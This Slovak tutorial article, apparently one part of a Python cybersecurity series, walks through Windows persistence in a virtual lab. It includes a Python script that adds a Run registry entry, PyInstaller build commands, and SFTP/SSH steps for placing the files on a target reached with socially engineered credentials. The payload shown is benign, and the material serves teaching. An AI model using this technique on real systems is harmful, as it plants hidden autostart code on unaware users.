SAMSUNG_042024 Advertisement SAMSUNG_042024 Advertisement SAMSUNG_042024 Advertisement

Python a kybernetická bezpečnosť / 10. časť

0

V tomto článku budeme pokračovať v „dobýjaní“ cieľového zariadenia, pričom si opíšeme jednu z mnohých možností, resp. princípov, ako na tomto zariadení zachovať našu prítomnosť (maintain persistence). V predošlých častiach seriálu sme opísali, aké možnosti máme, čo sa týka hľadania a pripojenia k počítačovým sieťam, a ako následne sledovať prevádzku v rámci týchto sietí s cieľom získať základné informácie o zariadeniach, ktoré sú k nim pripojené. Ďalší krok je pripojenie k vybranému zariadeniu a vykonanie požadovaných úloh. Tento krok nateraz preskočíme a zameriame sa na ten nasledujúci – tzv. zachovanie perzistencie. Budeme sa pri tom venovať viac princípu, resp. postupu práce ako samotnému programovaniu.

Čo chceme vykonať?

Predstavme si prípad, že sme sa nejakým spôsobom prihlásili na cieľové zariadenie. Prihlasovacie údaje sme získali pomerne ľahko, a to pomocou tzv. sociálneho inžinierstva. Tento najefektívnejší spôsob kompromitácie zariadení spočíva v získavaní prihlasovacích údajov prostredníctvom kontaktovania obete, jej zmanipulovania a vymámenia cenných informácií. Dovolím si tvrdiť, že pri dobre zabezpečených systémoch žiadny iný spôsob ich kompromitácie neexistuje, resp. je iba veľmi výnimočný a nesmierne náročný. Práve preto sa „moderní“ útočníci nezameriavajú na technické prelomenie systémov, ale na zlyhanie ľudského faktora.

Môže sa stať, že ťažko (a možno aj ľahko) získané prihlasovacie údaje budeme vedieť využiť iba raz a následne o túto možnosť prídeme, napr. po rozumnom zásahu správcu. Z toho vyplýva, že po úspešnom prihlásení musíme urobiť všetko preto, aby sme sa dokázali prihlásiť aj nabudúce. Možností na zachovanie perzistencie je veľa. My vám predstavíme jednu z nich, ktorou je modifikácia registra OS Windows.

Pracovné prostredie

Na obr. 1 je zobrazené pracovné prostredie, ktoré sme pripravili na vykonanie útoku na cieľové zariadenie. Jeho komponenty sú nasledujúce:

Zariadenie

IP

Nástroje

Význam

Náš PC

192.168.1.60

Linux

VirtualBox

SSH klient

Počítač útočníka s nainštalovaným VirtualBox – virtuálnym PC s Windows, prihlásenie sa k cieľovému PC s využitím SSH služby

Virtuálny PC

192.168.1.10

Windows

Python

PyInstaller

Virtuálny PC s Windows + Python + PyInstaller, príprava súborov zmen_register.exe a program.exe

Cieľový PC

192.168.1.3

Windows

SSH server

Cieľový PC s nainštalovaným SSH serverom, meno fiktívneho používateľa je jojo (v našom prípade je to takisto virtuálny PC)


Obr. 1 Komponenty pracovného prostredia na vykonanie útoku

Vykonanie útoku krok za krokom

Naším cieľom je modifikácia registra cieľového PC s nainštalovaným OS Windows, čím zabezpečíme automatické spúšťanie príslušného súboru, ktorý bude vykonávať nami požadované úlohy. Postup práce je takýto:

1. Na našom PC, konkrétne vo virtuálnom PC, vytvoríme súbor zmen_register.py s nasledujúcim obsahom:

import os

import winreg

filedir = os.path.join(os.getcwd())

filename = "program.exe"

filepath = os.path.join(filedir, filename)

# Registry Key

# HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

reghive = winreg.HKEY_CURRENT_USER

regpath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

# Pridanie novej polozky

key = winreg.OpenKey(reghive, regpath, 0, access=winreg.KEY_WRITE)

winreg.SetValueEx(key, "NiecoZvlastne", 0, winreg.REG_SZ, filepath)

- a súbor program.py s obsahom:

f = open("c:/users/jojo/niecozvlastne.txt", "a")

f.write("nieco zvlastne")

f.close()

- následne spustíme skript:

pyinstaller.exe --onefile zmen_register.py

pyinstaller.exe --onefile program.py

- vytvorené súbory dist/zmen_register.exe a dist/program.exe prenesieme na náš fyzický PC s OS Linux

2. Vytvorené súbory skopírujeme na cieľový PC prostredníctvom služby SFTP (SSH File Transfer Protocol):

sftp jojo@192.168.1.3

lcd (zdrojová zložka so súbormi zmen_register.exe a program.exe)

put zmen_register.exe

put program.exe

bye

- obidva súbory budú skopírované do zložky C:\Users\jojo

3. Nadviažeme spojenie s cieľovým PC prostredníctvom služby SSH:

ssh jojo@192.168.1.3

4. Spustíme súbor zmen_register.exe:

- v rámci registra Windows dôjde k doplneniu novej položky NiecoZvlastne do kľúča Computer\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

- táto úprava zaručí, že vždy po prihlásení sa používateľa jojo do systému sa vykoná nami „podhodený“ súbor program.exe, ktorého úlohou je automaticky vytvoriť súbor niecozvlastne.txt v domovskej zložke používateľa jojo.

 


Obr. 2 Zmenený obsah registra a obsah zložky C:\Users\jojo po prihlásení používateľa

 

Výsledok

Uvedeným postupom zabezpečíme, že po prihlásení sa fiktívneho používateľa jojo na zariadenie s IP adresou 192.168.1.3 sa automaticky vykoná súbor program.exe. Jeho obsahom môže byť čokoľvek, čo môže byť vykonateľné s využitím práv daného používateľa. Na to, aby sme opísaný typ útoku vykonali, postačuje, aby bola na cieľovom PC dostupná služba SSH a aby sme poznali prihlasovacie údaje niektorého z používateľov. V prípade, že pôjde o bežného používateľa bez zvláštnych počítačových vedomostí, dovolím si tvrdiť, že ten nemá šancu zistiť, že sme niečo zmenili v registri a že sa po jeho prihlásení vykonáva činnosť, o ktorej nevie…

PyInstaller (pyinstaller.org)

Pred ukončením tohto článku musíme spomenúť dôležitý nástroj, pomocou ktorého sme naše skripty Python transformovali na spustiteľné súbory EXE. Na cieľovom počítači teda nemusí byť nainštalovaný Python interpreter ani žiadny jeho modul, balíček, resp. knižnica. PyInstaller zabalí všetko potrebné do jediného súboru (--onefile). Jedinou podmienkou je, že skript PyInstaller musí byť spustený na tom operačnom systéme, ktorého spustiteľný súbor chceme vytvoriť. To znamená, že ak vytvárame súbor EXE určený pre OS Windows, musíme použiť nástroj pyinstaller.exe práve v rámci OS Windows.

Zobrazit Galériu

Marek Sopko

Všetky autorove články

Pridať komentár

Mohlo by vás zaujímať

Mohlo by vás zaujímať